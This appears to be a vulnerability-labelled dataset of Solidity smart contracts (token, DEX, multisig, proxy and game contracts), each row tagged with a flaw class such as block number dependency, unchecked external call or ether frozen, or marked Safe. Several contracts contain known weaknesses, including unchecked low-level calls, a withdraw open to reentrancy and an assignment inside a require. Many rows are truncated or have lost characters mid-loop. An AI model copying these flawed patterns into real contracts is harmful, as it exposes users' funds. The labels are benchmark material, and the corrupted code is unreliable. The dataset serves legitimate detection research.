roundvars[round].GOTCHatcontract.sub(test); roundownables[round].villages[village].lastcollect = block.number; return test; } function sellDOTCH(uint amt) payable public { require(msg.value >= 1 finney); require(roundownables[round].ERCtradeactive == true); require(roundownables[round].GOTCH[this]>= amt.mul(10000)); require(balances[msg.sender] >= amt); require(amt >= 1); balances[this] = balances[this].add(amt); balances[msg.sender] = balances[msg.sender].sub(amt); emit Transfer(msg.sender,this, amt); roundownables[round].GOTCH[this] = roundownables[round].GOTCH[this].sub(amt.mul(10000)); roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(amt.mul(10000)); } function buyDOTCH(uint amt) payable public { require(msg.value >= 1 finney); require(roundownables[round].ERCtradeactive == true); require(balances[this]>= amt); require(roundownables[round].GOTCH[msg.sender] >= amt.mul(10000)); require(amt >= 1); balances[this] = balances[this].sub(amt); balances[msg.sender] = balances[msg.sender].add(amt); emit Transfer(this,msg.sender, amt); roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].sub(amt.mul(10000)); roundownables[round].GOTCH[this] = roundownables[round].GOTCH[this].add(amt.mul(10000)); } function buyp3d(uint256 amt) internal{ P3Dcontract_.buy.value(amt)(this); } function claimdivs() internal{ P3Dcontract_.withdraw(); } event onHarvest( address customerAddress, uint256 amount ); function Divs() public payable{ require(msg.sender == roundownables[round].hillowner); claimdivs(); msg.sender.transfer(div); emit onHarvest(msg.sender,div); } function Divsforall() public payable{ require(divsforall = true); require(msg.value >= 1 finney); div = harvestabledivs(); require(div > 0); claimdivs(); msg.sender.transfer(div); emit onHarvest(msg.sender,div); } function Expand() public { buyp3d(ethforp3dbuy); ethforp3dbuy = 0; } function placeoffer(uint256 dotchamount, uint256 askingpriceinwei) payable public{ require(dotchamount > 0); require(askingpriceinwei > 0); require(balances[msg.sender] >= dotchamount); require(msg.value >= 1 finney); balances[msg.sender] = balances[msg.sender].sub(dotchamount); balances[this] = balances[this].add(dotchamount); emit Transfer(msg.sender,this, dotchamount); marketplace[nextmarketoffer].placedby = msg.sender; marketplace[nextmarketoffer].amountdotch = dotchamount; marketplace[nextmarketoffer].wantsthisamtweiperdotch = askingpriceinwei; nextmarketoffer++; } function adddotchtooffer(uint256 ordernumber , uint256 dotchamount) public { require(dotchamount > 0); require(msg.sender == marketplace[ordernumber].placedby); require(balances[msg.sender] >= dotchamount); balances[msg.sender] = balances[msg.sender].sub(dotchamount); balances[this] = balances[this].add(dotchamount); emit Transfer(msg.sender,this, dotchamount); marketplace[ordernumber].amountdotch = marketplace[ordernumber].amountdotch.add(dotchamount); } function removedotchtooffer(uint256 ordernumber , uint256 dotchamount) public { require(dotchamount > 0); require(msg.sender == marketplace[ordernumber].placedby); require(balances[this] >= dotchamount); balances[msg.sender] = balances[msg.sender].add(dotchamount); balances[this] = balances[this].sub(dotchamount); emit Transfer(this,msg.sender, dotchamount); marketplace[ordernumber].amountdotch = marketplace[ordernumber].amountdotch.sub(dotchamount); } function offerchangeprice(uint256 ordernumber ,uint256 price ) public { require(price > 0); require(msg.sender == marketplace[ordernumber].placedby); marketplace[ordernumber].wantsthisamtweiperdotch = price; } function takeoffer(uint256 ordernumber ,uint256 amtdotch ) public payable { require(msg.value >= marketplace[ordernumber].wantsthisamtweiperdotch.mul(amtdotch)); require(amtdotch > 0); require(marketplace[ordernumber].amountdotch >= amtdotch); require(msg.sender != marketplace[ordernumber].placedby); require(balances[this] >= amtdotch); marketplace[ordernumber].amountdotch = marketplace[ordernumber].amountdotch.sub(amtdotch); balances[msg.sender] = balances[msg.sender].add(amtdotch); balances[this] = balances[this].sub(amtdotch); emit Transfer(this,msg.sender, amtdotch); emit dotchsale(marketplace[ordernumber].placedby,marketplace[ordernumber].wantsthisamtweiperdotch, msg.sender, amtdotch); marketplace[ordernumber].placedby.transfer(marketplace[ordernumber].wantsthisamtweiperdotch.mul(amtdotch)); } function startnewround() public { require(roundvars[round].ATPO > roundownables[round].roundlength); round++; roundvars[round].totalsupplyGOTCH = nextroundtotalsupplyGOTCH; roundvars[round].GOTCHatcontract = nextroundtotalsupplyGOTCH; roundvars[round].solsforhire = nextroundsolsforhire; roundvars[round].soldierreplenishrate = nextroundsoldierreplenishrate; roundvars[round].solslastupdate = block.number; updatesolbuyrate(); roundvars[round].lastblockpayout = block.number; roundownables[round].hillowner = msg.sender; roundvars[round].nextpayamount = roundvars[round-1].nextpayamount; roundvars[round].nextowneramount = roundvars[round-1].nextowneramount; roundvars[round].previousethamount = roundvars[round-1].previousethamount; roundvars[round].blocksbeforenewpay = nextroundblocksbeforenewpay; roundownables[round].ERCtradeactive = nextroundERCtradeactive; roundvars[round].bpamount = 30000; } }",./Dataset/block number dependency (BN),0,0 39207.sol,"pragma solidity ^0.4.8; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i=a && c>=b); return c; } } contract Token { function totalSupply() constant public returns (uint256 supply) {} function balanceOf(address _owner) constant public returns (uint256 balance) {} function transfer(address _to, uint256 _value) public returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {} function approve(address _spender, uint256 _value) public returns (bool success) {} function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ReserveToken is StandardToken, SafeMath { address public minter; function ReserveToken() public { minter = msg.sender; } function create(address account, uint amount) public { if (msg.sender != minter) revert(); balances[account] = safeAdd(balances[account], amount); totalSupply = safeAdd(totalSupply, amount); } function destroy(address account, uint amount) public { if (msg.sender != minter) revert(); if (balances[account] < amount) revert(); balances[account] = safeSub(balances[account], amount); totalSupply = safeSub(totalSupply, amount); } } contract AccountLevels { function accountLevel(address user) constant public returns(uint) {} } contract AccountLevelsTest is AccountLevels { mapping (address => uint) public accountLevels; function setAccountLevel(address user, uint level) public { accountLevels[user] = level; } function accountLevel(address user) constant public returns(uint) { return accountLevels[user]; } } contract PolarisDEX is SafeMath { address public admin; address public feeAccount; address public accountLevelsAddr; uint public feeMake; uint public feeTake; uint public feeRebate; mapping (address => mapping (address => uint)) public tokens; mapping (address => mapping (bytes32 => bool)) public orders; mapping (address => mapping (bytes32 => uint)) public orderFills; event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); function PolarisDEX(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) public { admin = admin_; feeAccount = feeAccount_; accountLevelsAddr = accountLevelsAddr_; feeMake = feeMake_; feeTake = feeTake_; feeRebate = feeRebate_; } function () public { revert(); } function changeAdmin(address admin_) public { if (msg.sender != admin) revert(); admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) public { if (msg.sender != admin) revert(); accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) public { if (msg.sender != admin) revert(); feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) public { if (msg.sender != admin) revert(); if (feeMake_ > feeMake) revert(); feeMake = feeMake_; } function changeFeeTake(uint feeTake_) public { if (msg.sender != admin) revert(); if (feeTake_ > feeTake || feeTake_ < feeRebate) revert(); feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) public { if (msg.sender != admin) revert(); if (feeRebate_ < feeRebate || feeRebate_ > feeTake) revert(); feeRebate = feeRebate_; } function deposit() payable public { tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); emit Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) public { if (tokens[0][msg.sender] < amount) revert(); tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); if (!msg.sender.call.value(amount)()) revert(); emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) public { if (token==0) revert(); if (!Token(token).transferFrom(msg.sender, this, amount)) revert(); tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) public { if (token==0) revert(); if (tokens[token][msg.sender] < amount) revert(); tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); if (!Token(token).transfer(msg.sender, amount)) revert(); emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) constant public returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); orders[msg.sender][hash] = true; emit Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3(""\x19Ethereum Signed Message:\n32"", hash),v,r,s) == user) && block.number <= expires && safeAdd(orderFills[user][hash], amount) <= amountGet )) revert(); tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); emit Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); uint feeRebateXfer = 0; if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; } tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant public returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant public returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3(""\x19Ethereum Signed Message:\n32"", hash),v,r,s) == user) && block.number <= expires )) return 0; uint available1 = safeSub(amountGet, orderFills[user][hash]); uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; if (available1= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract BWCOINToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function BWCOINToken() { balances[msg.sender] = 25 * 1000000 * 10000; // Give the creator all initial tokens (100000 for example) totalSupply = 25 * 1000000 * 10000; // Update total supply (100000 for example) name = ""BWCOIN""; // Set the name for display purposes decimals = 4; // Amount of decimals for display purposes symbol = ""BWC""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x01d48232f76b2e411d920205e18c68d755f0ee13_LENDXCOIN.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract LENDXCOIN is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function LENDXCOIN() { balances[msg.sender] = 30000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 30000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = ""LENDXCOIN""; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = ""XCOIN""; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 51700; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 43189.sol,"pragma solidity ^0.5.0; import ""./IERC1538.sol""; import ""./ProxyBaseStorage.sol""; contract ProxyReceiver is ProxyBaseStorage, IERC1538 { constructor() public { proxy = address(this); bytes memory signature = ""updateContract(address,string,string)""; bytes4 funcId = bytes4(keccak256(signature)); delegates[funcId] = proxy; funcSignatures.push(signature); funcSignatureToIndex[signature] = funcSignatures.length; emit FunctionUpdate(funcId, address(0), proxy, string(signature)); emit CommitMessage(""Added ERC1538 updateContract function at contract creation""); } function() external payable { address delegate = delegates[msg.sig]; require(delegate != address(0), ""Function does not exist.""); assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, delegate, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 {revert(ptr, size)} default {return (ptr, size)} } } function updateContract(address _delegate, string calldata _functionSignatures, string calldata _commitMessage) external { uint256 pos; if(_delegate != address(0)) { assembly { pos := extcodesize(_delegate) } require(pos > 0, ""_delegate address is not a contract and is not address(0)""); } bytes memory signatures = bytes(_functionSignatures); uint256 signaturesEnd; uint256 start; assembly { pos := add(signatures,32) start := pos signaturesEnd := add(pos,mload(signatures)) } bytes4 funcId; address oldDelegate; uint256 num; uint256 char; uint256 index; uint256 lastIndex; for (; pos < signaturesEnd; pos++) { assembly {char := byte(0,mload(pos))} if (char == 0x29) { pos++; num = (pos - start); start = pos; assembly { mstore(signatures,num) } funcId = bytes4(keccak256(signatures)); oldDelegate = delegates[funcId]; if(_delegate == address(0)) { index = funcSignatureToIndex[signatures]; require(index != 0, ""Function does not exist.""); index--; lastIndex = funcSignatures.length - 1; if (index != lastIndex) { funcSignatures[index] = funcSignatures[lastIndex]; funcSignatureToIndex[funcSignatures[lastIndex]] = index + 1; } funcSignatures.length--; delete funcSignatureToIndex[signatures]; delete delegates[funcId]; emit FunctionUpdate(funcId, oldDelegate, address(0), string(signatures)); } else if (funcSignatureToIndex[signatures] == 0) { require(oldDelegate == address(0), ""FuncId clash.""); delegates[funcId] = _delegate; funcSignatures.push(signatures); funcSignatureToIndex[signatures] = funcSignatures.length; emit FunctionUpdate(funcId, address(0), _delegate, string(signatures)); } else if (delegates[funcId] != _delegate) { delegates[funcId] = _delegate; emit FunctionUpdate(funcId, oldDelegate, _delegate, string(signatures)); } assembly {signatures := add(signatures,num)} } } emit CommitMessage(_commitMessage); } } ",./Dataset/ether frozen (EF),2,2 36729.sol,"/** * Originally from https://github.com/ConsenSys/MultiSigWallet */ /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function ADZbuzzCommunityToken() public { symbol = ""ACT118153""; name = ""ADZbuzz Siol.net Community Token""; decimals = 8; _totalSupply = 200000000000000; balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply; emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, 